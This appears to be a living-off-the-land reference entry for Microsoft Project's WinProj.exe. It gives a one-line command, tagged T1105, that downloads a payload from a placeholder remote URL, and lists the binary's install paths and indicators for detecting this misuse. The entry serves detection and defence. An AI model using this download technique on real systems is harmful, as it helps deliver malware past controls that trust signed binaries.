01 / TRADECRAFT
1 examplesCommand reference
Download1
EXAMPLE 01T1105
Downloads payload from remote server
COMMAND
WinProj.exe {REMOTEURL}02 / ON DISK
Known paths
C:\Program Files (x86)\Microsoft Office\Office14\WinProj.exeC:\Program Files\Microsoft Office\Office14\WinProj.exeC:\Program Files (x86)\Microsoft Office\Office15\WinProj.exeC:\Program Files\Microsoft Office\Office15\WinProj.exeC:\Program Files (x86)\Microsoft Office\Office16\WinProj.exeC:\Program Files\Microsoft Office\Office16\WinProj.exeC:\Program Files (x86)\Microsoft Office\root\Office14\WinProj.exeC:\Program Files\Microsoft Office\root\Office14\WinProj.exeC:\Program Files (x86)\Microsoft Office\root\Office15\WinProj.exeC:\Program Files\Microsoft Office\root\Office15\WinProj.exeC:\Program Files (x86)\Microsoft Office\root\Office16\WinProj.exeC:\Program Files\Microsoft Office\root\Office16\WinProj.exe03 / DEFENSIVE INTELLIGENCE
0 resourcesDetection & indicators
Indicators & detection notes
- IOC
URL on a WinProj command line
- IOC
WinProj making unexpected network connections or DNS requests
COMMUNITY RESEARCH
Acknowledgements
Avihay Eldad@AvihayEldad